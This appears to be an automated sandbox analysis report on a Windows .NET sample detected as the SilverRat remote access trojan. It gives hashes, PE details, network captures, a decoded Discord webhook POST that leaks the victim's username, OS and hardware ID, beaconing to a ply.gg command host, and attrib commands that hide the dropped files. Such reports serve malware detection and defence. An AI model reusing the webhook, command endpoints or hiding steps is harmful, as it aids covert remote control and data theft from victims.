SHA-256:	3147922611475A9C92E23A018BF666A4890F2C3AA159B235883BEFF80CFFB71A
SHA-512:	86730243F2AA11CD2D6C63CF91D412819060D7DCF8AA50CDB82190E2407F7F8910549233AC99AD7BA844691E50DE70720B3608F299450406D23F41AA85196881
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SilverRat, Description: Yara detected SilverRat, Source: C:\Users\user\java\$77java.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....`/g.........."...................... .....@..... ....................................@...@......@............... ............................................................................................................................... ..H............text...(.... ...................... ..`.rsrc...............................@..@.reloc..............................@..BH........[..Lp...................................................................(s.....0..........(....-..(....(....-..(....(....+. ....(......&..(....,.(&...(....(....s......r...po.....r...pr...p(....o....o......o......o.....(....&..&..(X...(......&..~....-........s.........~....s....(......&..(D...-.(O...(L.....&..~....(....(....+.....@....!..-........F.B.......................).....................(.....0..........( ...~....(!...o"........~....(!...s#........( ...~....(!...(...

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn
MD5:	3DD7DD37C304E70A7316FE43B69F421F
SHA1:	A3754CFC33E9CA729444A95E95BCB53384CB51E4
SHA-256:	4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA
SHA-512:	713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AAA4
Malicious:	false
Preview:	..Waiting for 3 seconds, press a key to continue ....2.1.0..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.5548499971388345
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	RLesaPFXew.exe
File size:	46'592 bytes
MD5:	537b270c2278044e4c3958530f745ece
SHA1:	aa80b2971f14c91c4a09162357188bf73d0f9934
SHA256:	3147922611475a9c92e23a018bf666a4890f2c3aa159b235883beff80cffb71a
SHA512:	86730243f2aa11cd2d6c63cf91d412819060d7dcf8aa50cdb82190e2407f7f8910549233ac99ad7ba844691e50de70720b3608f299450406d23f41aa85196881
SSDEEP:	768:6lAB2vEsZq7tAXoHCs+QhkSFp4XdtAy9ex42RULe9PlKbo0B6SDZJvrAV89v8:6lAB2viIs+sUdtAy9o42GK9z0oOZJsVD
TLSH:	B5234B002BD9863AD6FE4B789DF1025586B9F2635613EB8F2CC442EB0A277C589417F6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....`/g.........."...................... .....@..... ....................................@...@......@............... .....

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140000000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x672F60EC [Sat Nov 9 13:17:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe000	0x4e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xac28	0xae00	fc1a9bff867d9fcc8a8f8755673ab180	False	0.5026266163793104	data	5.619968921371862	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe000	0x4e8	0x600	f760aadd519b50cc1362e9f9f75616a8	False	0.3756510416666667	data	3.7337887615215917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe0a0	0x254	data			0.45805369127516776
RT_MANIFEST	0xe2f8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-09T22:53:23.175080+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.6	49745	TCP
2024-11-09T22:53:50.697780+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.6	60572	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2024 22:53:11.859798908 CET	49710	443	192.168.2.6	162.159.133.233
Nov 9, 2024 22:53:11.859850883 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:11.859913111 CET	49710	443	192.168.2.6	162.159.133.233
Nov 9, 2024 22:53:11.871438026 CET	49710	443	192.168.2.6	162.159.133.233
Nov 9, 2024 22:53:11.871454000 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:12.488956928 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:12.489022970 CET	49710	443	192.168.2.6	162.159.133.233
Nov 9, 2024 22:53:12.491710901 CET	49710	443	192.168.2.6	162.159.133.233
Nov 9, 2024 22:53:12.491719007 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:12.492117882 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:12.529386997 CET	49710	443	192.168.2.6	162.159.133.233
Nov 9, 2024 22:53:12.575335979 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:12.654032946 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:12.654521942 CET	49710	443	192.168.2.6	162.159.133.233
Nov 9, 2024 22:53:12.654535055 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:12.864989996 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:12.865133047 CET	443	49710	162.159.133.233	192.168.2.6
Nov 9, 2024 22:53:12.865629911 CET	49710	443	192.168.2.6	162.159.133.233
Nov 9, 2024 22:53:12.867834091 CET	49710	443	192.168.2.6	162.159.133.233
Nov 9, 2024 22:53:12.919152975 CET	49711	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:12.925348997 CET	52996	49711	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:12.925422907 CET	49711	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:12.926789999 CET	49711	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:12.932646036 CET	52996	49711	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:21.415589094 CET	52996	49711	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:21.415678978 CET	49711	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:21.435461044 CET	49711	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:21.436254978 CET	49744	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:21.440318108 CET	52996	49711	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:21.441199064 CET	52996	49744	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:21.441266060 CET	49744	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:21.441478014 CET	49744	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:21.446201086 CET	52996	49744	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:29.927369118 CET	52996	49744	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:29.927434921 CET	49744	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:29.936026096 CET	49744	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:29.937568903 CET	49796	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:29.940861940 CET	52996	49744	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:29.942419052 CET	52996	49796	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:29.942497969 CET	49796	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:29.948149920 CET	49796	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:29.953193903 CET	52996	49796	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:38.426225901 CET	52996	49796	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:38.426304102 CET	49796	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:38.435703993 CET	49796	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:38.436532021 CET	49846	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:38.440502882 CET	52996	49796	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:38.441293955 CET	52996	49846	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:38.441374063 CET	49846	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:38.441663980 CET	49846	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:38.446433067 CET	52996	49846	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:46.941847086 CET	52996	49846	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:46.941926003 CET	49846	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:46.951225996 CET	49846	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:46.952044964 CET	49895	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:46.955943108 CET	52996	49846	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:46.956789017 CET	52996	49895	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:46.956859112 CET	49895	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:46.957066059 CET	49895	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:46.961765051 CET	52996	49895	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:55.437702894 CET	52996	49895	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:55.437894106 CET	49895	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:55.451294899 CET	49895	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:55.452280045 CET	60607	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:55.456650019 CET	52996	49895	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:55.458070993 CET	52996	60607	147.185.221.23	192.168.2.6
Nov 9, 2024 22:53:55.458136082 CET	60607	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:55.458353043 CET	60607	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:53:55.463052988 CET	52996	60607	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:03.959096909 CET	52996	60607	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:03.959160089 CET	60607	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:03.967592955 CET	60607	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:03.968588114 CET	60653	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:03.972397089 CET	52996	60607	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:03.973416090 CET	52996	60653	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:03.973474979 CET	60653	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:03.973711014 CET	60653	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:03.978511095 CET	52996	60653	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:12.458875895 CET	52996	60653	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:12.458940983 CET	60653	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:12.467040062 CET	60653	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:12.468058109 CET	60654	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:12.471813917 CET	52996	60653	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:12.472872019 CET	52996	60654	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:12.472949982 CET	60654	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:12.473207951 CET	60654	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:12.478013992 CET	52996	60654	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:20.977060080 CET	52996	60654	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:20.977197886 CET	60654	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:20.982736111 CET	60654	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:20.983802080 CET	60656	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:20.987524033 CET	52996	60654	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:20.988616943 CET	52996	60656	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:20.988683939 CET	60656	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:20.988922119 CET	60656	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:20.993762016 CET	52996	60656	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:29.469165087 CET	52996	60656	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:29.469237089 CET	60656	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:29.482856035 CET	60656	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:29.483941078 CET	60658	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:29.488140106 CET	52996	60656	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:29.490359068 CET	52996	60658	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:29.490461111 CET	60658	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:29.494554996 CET	60658	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:29.499610901 CET	52996	60658	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:37.975286007 CET	52996	60658	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:37.975403070 CET	60658	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:37.982820988 CET	60658	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:37.983861923 CET	60659	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:37.988569975 CET	52996	60658	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:37.989675045 CET	52996	60659	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:37.989748955 CET	60659	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:37.990014076 CET	60659	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:37.995841026 CET	52996	60659	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:46.494982004 CET	52996	60659	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:46.495155096 CET	60659	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:46.514100075 CET	60659	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:46.514834881 CET	60661	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:46.519066095 CET	52996	60659	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:46.519609928 CET	52996	60661	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:46.519773006 CET	60661	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:46.520029068 CET	60661	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:46.525074005 CET	52996	60661	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:55.018409967 CET	52996	60661	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:55.018503904 CET	60661	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:55.029967070 CET	60661	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:55.031124115 CET	60662	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:55.034796953 CET	52996	60661	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:55.035959959 CET	52996	60662	147.185.221.23	192.168.2.6
Nov 9, 2024 22:54:55.036032915 CET	60662	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:55.036293983 CET	60662	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:54:55.041069031 CET	52996	60662	147.185.221.23	192.168.2.6
Nov 9, 2024 22:55:03.543710947 CET	52996	60662	147.185.221.23	192.168.2.6
Nov 9, 2024 22:55:03.543836117 CET	60662	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:03.596707106 CET	60662	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:03.600910902 CET	60663	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:03.601502895 CET	52996	60662	147.185.221.23	192.168.2.6
Nov 9, 2024 22:55:03.605804920 CET	52996	60663	147.185.221.23	192.168.2.6
Nov 9, 2024 22:55:03.605875969 CET	60663	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:03.609133959 CET	60663	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:03.614006996 CET	52996	60663	147.185.221.23	192.168.2.6
Nov 9, 2024 22:55:12.081427097 CET	52996	60663	147.185.221.23	192.168.2.6
Nov 9, 2024 22:55:12.081532001 CET	60663	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:12.092396975 CET	60663	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:12.093103886 CET	60665	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:12.097259998 CET	52996	60663	147.185.221.23	192.168.2.6
Nov 9, 2024 22:55:12.097898960 CET	52996	60665	147.185.221.23	192.168.2.6
Nov 9, 2024 22:55:12.097975016 CET	60665	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:12.098181963 CET	60665	52996	192.168.2.6	147.185.221.23
Nov 9, 2024 22:55:12.102968931 CET	52996	60665	147.185.221.23	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2024 22:53:11.840869904 CET	50432	53	192.168.2.6	1.1.1.1
Nov 9, 2024 22:53:11.847824097 CET	53	50432	1.1.1.1	192.168.2.6
Nov 9, 2024 22:53:12.885133982 CET	50815	53	192.168.2.6	1.1.1.1
Nov 9, 2024 22:53:12.917999983 CET	53	50815	1.1.1.1	192.168.2.6
Nov 9, 2024 22:53:48.584686995 CET	53	64297	162.159.36.2	192.168.2.6
Nov 9, 2024 22:53:49.345084906 CET	53	58609	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 9, 2024 22:53:11.840869904 CET	192.168.2.6	1.1.1.1	0x8af2	Standard query (0)	discordapp.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:12.885133982 CET	192.168.2.6	1.1.1.1	0x6a5b	Standard query (0)	23.ip.gl.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 9, 2024 22:53:11.847824097 CET	1.1.1.1	192.168.2.6	0x8af2	No error (0)	discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:11.847824097 CET	1.1.1.1	192.168.2.6	0x8af2	No error (0)	discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:11.847824097 CET	1.1.1.1	192.168.2.6	0x8af2	No error (0)	discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:11.847824097 CET	1.1.1.1	192.168.2.6	0x8af2	No error (0)	discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:11.847824097 CET	1.1.1.1	192.168.2.6	0x8af2	No error (0)	discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:12.917999983 CET	1.1.1.1	192.168.2.6	0x6a5b	No error (0)	23.ip.gl.ply.gg	147.185.221.23	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discordapp.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	162.159.133.233	443	2940	C:\Users\user\java\$77java.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:53:12 UTC	258	OUT	POST /api/webhooks/1294921166322139216/xs9PPlodeSrCXniTlxP1AWYgIlBu-KYxj9_7pK95qOS4ZhheXZuWsNfenaXEjnMgG__0 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: discordapp.com Content-Length: 415 Expect: 100-continue Connection: Keep-Alive
2024-11-09 21:53:12 UTC	25	IN	HTTP/1.1 100 Continue
2024-11-09 21:53:12 UTC	415	OUT	Data Raw: 75 73 65 72 6e 61 6d 65 3d 48 65 79 2b 41 44 4d 49 4e 26 61 76 61 74 61 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 67 2e 74 6f 70 34 74 6f 70 2e 69 6f 25 32 66 70 5f 32 35 32 32 63 37 77 38 75 31 2e 70 6e 67 26 63 6f 6e 74 65 6e 74 3d 59 6f 75 2b 68 61 76 65 2b 61 2b 63 6c 69 65 6e 74 2b 6f 6e 6c 69 6e 65 2b 6e 6f 77 2b 25 37 62 2b 4e 65 77 2b 25 37 64 25 30 61 2b 2b 25 65 32 25 39 63 25 38 35 2b 55 73 65 72 6e 61 6d 65 2b 25 33 61 2b 65 6e 67 69 6e 65 65 72 25 34 30 38 32 30 30 39 34 25 30 61 2b 2b 25 65 32 25 39 63 25 38 35 2b 53 79 73 74 65 6d 2b 25 33 61 2b 4d 69 63 72 6f 73 6f 66 74 2b 57 69 6e 64 6f 77 73 2b 31 30 2b 50 72 6f 25 30 61 2b 2b 25 65 32 25 39 63 25 38 35 2b 48 57 49 44 2b 25 33 61 2b 42 33 42 37 39 32 42 35 41 45 46 32 Data Ascii: username=Hey+ADMIN&avatar_url=https%3a%2f%2fg.top4top.io%2fp_2522c7w8u1.png&content=You+have+a+client+online+now+%7b+New+%7d%0a++%e2%9c%85+Username+%3a+user%40820094%0a++%e2%9c%85+System+%3a+Microsoft+Windows+10+Pro%0a++%e2%9c%85+HWID+%3a+B3B792B5AEF2
2024-11-09 21:53:12 UTC	1369	IN	HTTP/1.1 204 No Content Date: Sat, 09 Nov 2024 21:53:12 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: __dcfduid=0440756c9ee511ef9dce22f671cd9b78; Expires=Thu, 08-Nov-2029 21:53:12 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1731189194 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MR%2FJPhnTNICZUTqj7%2B2WyRWzGw7NIUlqeT5LR42PE9E7Y4Kdxdjxt0LYDxEdRrisXTpyKpscAPrv2vIk0Sct5A7sbh7Vqee0ywGL71bEUvsdzg8Z0ZN2cTubpfM7sDUQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: __sdcfduid=0440756c9ee511ef9dce22f671cd9b780982e4e6b29938b88e52212f8e311e7cc0541e339f89f1d4297bda8db9220e58; Expires=Thu, 08-Nov-2029 21:53:12 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cf_bm=.n7orT0CeLB9_jwYWUnaH215jUop7bVehYTUYt_uzIc-1731189192-1.0.1.1-YU4rtnQ7wuVHDl5.IlJDPVfY.Xv87cvSZVkEoayK1_sioIHzzXiH98R.XKBrlOoxMQCvkJdgwk3UnMT6_1QnxQ; path=/; expires=Sat, 09-Nov-24 22:23:12 GMT; domain=.discordapp.com; HttpOnly; Secure Se
2024-11-09 21:53:12 UTC	351	IN	Data Raw: 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 38 30 64 65 39 62 66 62 38 64 38 33 65 37 38 31 35 39 65 30 63 65 39 32 35 30 62 66 63 32 37 36 30 66 63 32 39 33 33 37 2d 31 37 33 31 31 38 39 31 39 32 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 6c 7a 51 5f 65 76 6a 66 33 33 43 74 44 43 66 76 38 6d 39 57 72 6d 79 76 4e 56 69 64 61 46 69 49 77 43 41 47 6a 46 36 38 78 6e 63 2d 31 37 33 31 31 38 39 31 39 32 38 30 30 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f Data Ascii: t-Cookie: __cfruid=80de9bfb8d83e78159e0ce9250bfc2760fc29337-1731189192; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=NoneSet-Cookie: _cfuvid=lzQ_evjf33CtDCfv8m9WrmyvNVidaFiIwCAGjF68xnc-1731189192800-0.0.1.1-604800000; path=/; domain=.disco

Target ID:	0
Start time:	16:53:04
Start date:	09/11/2024
Path:	C:\Users\user\Desktop\RLesaPFXew.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\RLesaPFXew.exe"
Imagebase:	0x1d0000
File size:	46'592 bytes
MD5 hash:	537B270C2278044E4C3958530F745ECE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SilverRat, Description: Yara detected SilverRat, Source: 00000000.00000000.2129565272.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_SilverRat, Description: Yara detected SilverRat, Source: 00000000.00000002.2158375099.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:53:07
Start date:	09/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java"
Imagebase:	0x7ff7721d0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:53:07
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:53:07
Start date:	09/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java\$77java.exe"
Imagebase:	0x7ff7721d0000
File size:	23'040 bytes
